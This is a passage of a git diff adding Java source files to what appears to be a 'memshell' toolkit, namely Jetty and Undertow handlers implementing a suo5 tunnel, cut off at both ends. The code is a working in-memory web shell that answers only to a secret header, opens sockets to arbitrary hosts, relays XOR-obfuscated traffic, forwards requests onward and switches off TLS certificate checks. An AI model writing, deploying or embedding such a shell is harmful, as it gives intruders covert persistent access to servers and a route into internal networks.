conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + byte[] newBody = marshal(dataMap); + Enumeration headers = ((Enumeration) request.getClass().getMethod("getHeaderNames").invoke(request)); + Method getHeaderMethod = request.getClass().getMethod("getHeader", String.class); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equals("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(newBody.length)); + continue; + } else if (k.equals("Host")) { + conn.setRequestProperty(k, u.getHost()); + continue; + } else if (k.equals("Connection")) { + conn.setRequestProperty(k, "close"); + continue; + } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, ((String) getHeaderMethod.invoke(request, k))); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(newBody); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5JettyHandler.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5JettyHandler.java new file mode 100644 index 00000000..fa4c166e --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5JettyHandler.java @@ -0,0 +1,585 @@ +package com.reajason.javaweb.memshell.shelltool.suo5; + + +import javax.net.ssl.*; +import java.io.*; +import java.lang.reflect.Method; +import java.net.*; +import java.nio.ByteBuffer; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; + +/** + * @author ReaJason + */ +public class Suo5JettyHandler implements Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + public static HashMap addrs = collectAddr(); + public static HashMap ctx = new HashMap(); + + InputStream gInStream; + OutputStream gOutStream; + + public Suo5JettyHandler() { + } + + public Suo5JettyHandler(InputStream in, OutputStream out) { + this.gInStream = in; + this.gOutStream = out; + } + + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + Object baseRequest = null; + Object request = null; + Object response = null; + if (args.length == 4) { + Object arg4 = args[3]; + baseRequest = args[1]; + if (arg4 instanceof Integer) { + // jetty6 + request = args[1]; + response = args[2]; + } else { + request = args[2]; + response = args[3]; + } + } else { + // ee10 + request = args[0]; + response = args[1]; + } + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + String contentType = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "Content-Type"); + if (value == null || !value.contains(headerValue)) { + return false; + } + if (contentType == null) { + return false; + } + if (baseRequest != null) { + baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); + } + if (contentType.equals("application/plain")) { + tryFullDuplex(request, response); + return true; + } + + if (contentType.equals("application/octet-stream")) { + processDataBio(request, response); + } else { + processDataUnary(request, response); + } + } catch (Throwable e) { + e.printStackTrace(); + } + return true; + } + + public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) break; + bufferOffset += readResult; + } + } + + public void tryFullDuplex(Object request, Object response) throws Exception { + InputStream in = (InputStream) request.getClass().getMethod("getInputStream").invoke(request); + byte[] data = new byte[32]; + readFull(in, data); + OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); + out.write(data); + out.flush(); + } + + + private HashMap newCreate(byte s) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x04}); + m.put("s", new byte[]{s}); + return m; + } + + private HashMap newData(byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + return m; + } + + private HashMap newDel() { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + return m; + } + + private HashMap newStatus(byte b) { + HashMap m = new HashMap(); + m.put("s", new byte[]{b}); + return m; + } + + byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + + byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + + private byte[] marshal(HashMap m) throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + byte[] data = buf.toByteArray(); + ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); + dbuf.putInt(data.length); + // xor key + byte key = (byte) ((Math.random() * 255) + 1); + dbuf.put(key); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key); + } + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshal(InputStream in) throws Exception { + byte[] header = new byte[4 + 1]; // size and datatype + readFull(in, header); + // read full + ByteBuffer bb = ByteBuffer.wrap(header); + int len = bb.getInt(); + int x = bb.get(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ x); + } + HashMap m = new HashMap(); + byte[] buf; + for (int i = 0; i < bs.length - 1; ) { + short kLen = bs[i]; + i += 1; + if (i + kLen >= bs.length) { + throw new Exception("key len error"); + } + if (kLen < 0) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 >= bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private void processDataBio(Object request, Object resp) throws Exception { + final InputStream reqInputStream = (InputStream) request.getClass().getMethod("getInputStream").invoke(request); + HashMap dataMap = unmarshal(reqInputStream); + + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1 || action[0] != 0x00) { + resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403); + return; + } + resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, 512); + final OutputStream respOutStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + + // 0x00 create socket + resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no"); + Socket sc; + try { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + // Cannot convert Integer to int + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + } catch (Exception e) { + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.getClass().getMethod("flushBuffer").invoke(resp); + + final OutputStream scOutStream = sc.getOutputStream(); + final InputStream scInStream = sc.getInputStream(); + + Thread t = null; + try { + Suo5JettyHandler p = new Suo5JettyHandler(scInStream, respOutStream); + t = new Thread(p); + t.start(); + readReq(reqInputStream, scOutStream); + } catch (Exception e) { +// System.out.printf("pipe error, %s\n", e); + } finally { + sc.close(); + respOutStream.close(); + if (t != null) { + t.join(); + } + } + } + + private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshal(newData(dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } + + private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { + while (true) { + HashMap dataMap; + dataMap = unmarshal(bufInputStream); + + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + return; + } + byte action = actions[0]; + if (action == 0x02) { + socketOutStream.close(); + return; + } else if (action == 0x01) { + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + socketOutStream.write(data); + socketOutStream.flush(); + } + } else if (action == 0x03) { + continue; + } else { + return; + } + } + } + + private void processDataUnary(Object request, Object resp) throws + Exception { + InputStream is = (InputStream) request.getClass().getMethod("getInputStream").invoke(request); + BufferedInputStream reader = new BufferedInputStream(is); + HashMap dataMap; + dataMap = unmarshal(reader); + + + String clientId = new String((byte[]) dataMap.get("id")); + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403); + return; + } + /* + ActionCreate byte = 0x00 + ActionData byte = 0x01 + ActionDelete byte = 0x02 + ActionHeartbeat byte = 0x03 + */ + byte action = actions[0]; + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + String redirectUrl = ""; + if (needRedirect) { + dataMap.remove("r"); + redirectUrl = new String(redirectData); + needRedirect = !isLocalAddr(redirectUrl); + } + // load balance, send request with data to request url + // action 0x00 need to pipe, see below + if (needRedirect && action >= 0x01 && action <= 0x03) { + HttpURLConnection conn = redirect(request, dataMap, redirectUrl); + conn.disconnect(); + return; + } + + resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, 512); + OutputStream respOutStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + if (action == 0x02) { + Object o = this.get(clientId); + if (o == null) return; + OutputStream scOutStream = (OutputStream) o; + scOutStream.close(); + return; + } else if (action == 0x01) { + Object o = this.get(clientId); + if (o == null) { + respOutStream.write(marshal(newDel())); + respOutStream.flush(); + respOutStream.close(); + return; + } + OutputStream scOutStream = (OutputStream) o; + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + respOutStream.close(); + return; + } else { + } + + if (action != 0x00) { + return; + } + // 0x00 create new tunnel + resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no"); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + + InputStream readFrom; + Socket sc = null; + HttpURLConnection conn = null; + + if (needRedirect) { + // pipe redirect stream and current response body + conn = redirect(request, dataMap, redirectUrl); + readFrom = conn.getInputStream(); + } else { + // pipe socket stream and current response body + try { + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + readFrom = sc.getInputStream(); + this.put(clientId, sc.getOutputStream()); + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.getClass().getMethod("flushBuffer").invoke(resp); + } catch (Exception e) { +// System.out.printf("connect error %s\n", e); +// e.printStackTrace(); + this.remove(clientId); + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + } + try { + readSocket(readFrom, respOutStream, !needRedirect); + } catch (Exception e) { +// System.out.println("socket error " + e.toString()); +// e.printStackTrace(); + } finally { + if (sc != null) { + sc.close(); + } + if (conn != null) { + conn.disconnect(); + } + respOutStream.close(); + this.remove(clientId); + } + } + + public void run() { + try { + readSocket(gInStream, gOutStream, true); + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + } + + static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + return addrs; + } + + boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + HttpURLConnection redirect(Object request, HashMap dataMap, String rUrl) throws Exception { + String method = request.getClass().getMethod("getMethod", String.class).toString(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + byte[] newBody = marshal(dataMap); + Enumeration headers = ((Enumeration) request.getClass().getMethod("getHeaderNames").invoke(request)); + Method getHeaderMethod = request.getClass().getMethod("getHeader", String.class); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equals("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(newBody.length)); + continue; + } else if (k.equals("Host")) { + conn.setRequestProperty(k, u.getHost()); + continue; + } else if (k.equals("Connection")) { + conn.setRequestProperty(k, "close"); + continue; + } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, ((String) getHeaderMethod.invoke(request, k))); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(newBody); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5UndertowServletHandler.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5UndertowServletHandler.java new file mode 100644 index 00000000..10bb41ee --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5UndertowServletHandler.java @@ -0,0 +1,571 @@ +package com.reajason.javaweb.memshell.shelltool.suo5; + + +import javax.net.ssl.*; +import java.io.*; +import java.lang.reflect.Method; +import java.net.*; +import java.nio.ByteBuffer; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; + +/** + * @author ReaJason + */ +public class Suo5UndertowServletHandler implements Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + public static HashMap addrs = collectAddr(); + public static HashMap ctx = new HashMap(); + + InputStream gInStream; + OutputStream gOutStream; + + public Suo5UndertowServletHandler() { + } + + public Suo5UndertowServletHandler(InputStream in, OutputStream out) { + this.gInStream = in; + this.gOutStream = out; + } + + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + try { + Object servletRequestContext = null; + if (args.length == 2) { + servletRequestContext = args[1]; + } else { + servletRequestContext = args[2]; + } + Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext); + Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + String contentType = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "Content-Type"); + if (value == null || !value.contains(headerValue)) { + return false; + } + if (contentType == null) { + return false; + } + if (contentType.equals("application/plain")) { + tryFullDuplex(request, response); + return true; + } + + if (contentType.equals("application/octet-stream")) { + processDataBio(request, response); + } else { + processDataUnary(request, response); + } + } catch (Throwable e) { + e.printStackTrace(); + } + return true; + } + + public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) break; + bufferOffset += readResult; + } + } + + public void tryFullDuplex(Object request, Object response) throws Exception { + InputStream in = (InputStream) request.getClass().getMethod("getInputStream").invoke(request); + byte[] data = new byte[32]; + readFull(in, data); + OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); + out.write(data); + out.flush(); + } + + + private HashMap newCreate(byte s) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x04}); + m.put("s", new byte[]{s}); + return m; + } + + private HashMap newData(byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + return m; + } + + private HashMap newDel() { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + return m; + } + + private HashMap newStatus(byte b) { + HashMap m = new HashMap(); + m.put("s", new byte[]{b}); + return m; + } + + byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + + byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + + private byte[] marshal(HashMap m) throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + byte[] data = buf.toByteArray(); + ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); + dbuf.putInt(data.length); + // xor key + byte key = (byte) ((Math.random() * 255) + 1); + dbuf.put(key); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key); + } + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshal(InputStream in) throws Exception { + byte[] header = new byte[4 + 1]; // size and datatype + readFull(in, header); + // read full + ByteBuffer bb = ByteBuffer.wrap(header); + int len = bb.getInt(); + int x = bb.get(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ x); + } + HashMap m = new HashMap(); + byte[] buf; + for (int i = 0; i < bs.length - 1; ) { + short kLen = bs[i]; + i += 1; + if (i + kLen >= bs.length) { + throw new Exception("key len error"); + } + if (kLen < 0) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 >= bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private void processDataBio(Object request, Object resp) throws Exception { + final InputStream reqInputStream = (InputStream) request.getClass().getMethod("getInputStream").invoke(request); + HashMap dataMap = unmarshal(reqInputStream); + + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1 || action[0] != 0x00) { + resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403); + return; + } + resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, 512); + final OutputStream respOutStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + + // 0x00 create socket + resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no"); + Socket sc; + try { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + // Cannot convert Integer to int + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + } catch (Exception e) { + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.getClass().getMethod("flushBuffer").invoke(resp); + + final OutputStream scOutStream = sc.getOutputStream(); + final InputStream scInStream = sc.getInputStream(); + + Thread t = null; + try { + Suo5UndertowServletHandler p = new Suo5UndertowServletHandler(scInStream, respOutStream); + t = new Thread(p); + t.start(); + readReq(reqInputStream, scOutStream); + } catch (Exception e) { +// System.out.printf("pipe error, %s\n", e); + } finally { + sc.close(); + respOutStream.close(); + if (t != null) { + t.join(); + } + } + } + + private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshal(newData(dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } + + private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { + while (true) { + HashMap dataMap; + dataMap = unmarshal(bufInputStream); + + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + return; + } + byte action = actions[0]; + if (action == 0x02) { + socketOutStream.close(); + return; + } else if (action == 0x01) { + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + socketOutStream.write(data); + socketOutStream.flush(); + } + } else if (action == 0x03) { + continue; + } else { + return; + } + } + } + + private void processDataUnary(Object request, Object resp) throws + Exception { + InputStream is = (InputStream) request.getClass().getMethod("getInputStream").invoke(request); + BufferedInputStream reader = new BufferedInputStream(is); + HashMap dataMap; + dataMap = unmarshal(reader); + + + String clientId = new String((byte[]) dataMap.get("id")); + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403); + return; + } + /* + ActionCreate byte = 0x00 + ActionData byte = 0x01 + ActionDelete byte = 0x02 + ActionHeartbeat byte = 0x03 + */ + byte action = actions[0]; + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + String redirectUrl = ""; + if (needRedirect) { + dataMap.remove("r"); + redirectUrl = new String(redirectData); + needRedirect = !isLocalAddr(redirectUrl); + } + // load balance, send request with data to request url + // action 0x00 need to pipe, see below + if (needRedirect && action >= 0x01 && action <= 0x03) { + HttpURLConnection conn = redirect(request, dataMap, redirectUrl); + conn.disconnect(); + return; + } + + resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, 512); + OutputStream respOutStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + if (action == 0x02) { + Object o = this.get(clientId); + if (o == null) return; + OutputStream scOutStream = (OutputStream) o; + scOutStream.close(); + return; + } else if (action == 0x01) { + Object o = this.get(clientId); + if (o == null) { + respOutStream.write(marshal(newDel())); + respOutStream.flush(); + respOutStream.close(); + return; + } + OutputStream scOutStream = (OutputStream) o; + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + respOutStream.close(); + return; + } else { + } + + if (action != 0x00) { + return; + } + // 0x00 create new tunnel + resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no"); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + + InputStream readFrom; + Socket sc = null; + HttpURLConnection conn = null; + + if (needRedirect) { + // pipe redirect stream and current response body + conn = redirect(request, dataMap, redirectUrl); + readFrom = conn.getInputStream(); + } else { + // pipe socket stream and current response body + try { + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + readFrom = sc.getInputStream(); + this.put(clientId, sc.getOutputStream()); + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.getClass().getMethod("flushBuffer").invoke(resp); + } catch (Exception e) { +// System.out.printf("connect error %s\n", e); +// e.printStackTrace(); + this.remove(clientId); + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + } + try { + readSocket(readFrom, respOutStream, !needRedirect); + } catch (Exception e) { +// System.out.println("socket error " + e.toString()); +// e.printStackTrace(); + } finally { + if (sc != null) { + sc.close(); + } + if (conn != null) { + conn.disconnect(); + } + respOutStream.close(); + this.remove(clientId); + } + } + + public void run() { + try { + readSocket(gInStream, gOutStream, true); + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + } + + static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + return addrs; + } + + boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + HttpURLConnection redirect(Object request, HashMap dataMap, String rUrl) throws Exception { + String method = request.getClass().getMethod("getMethod", String.class).toString(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new 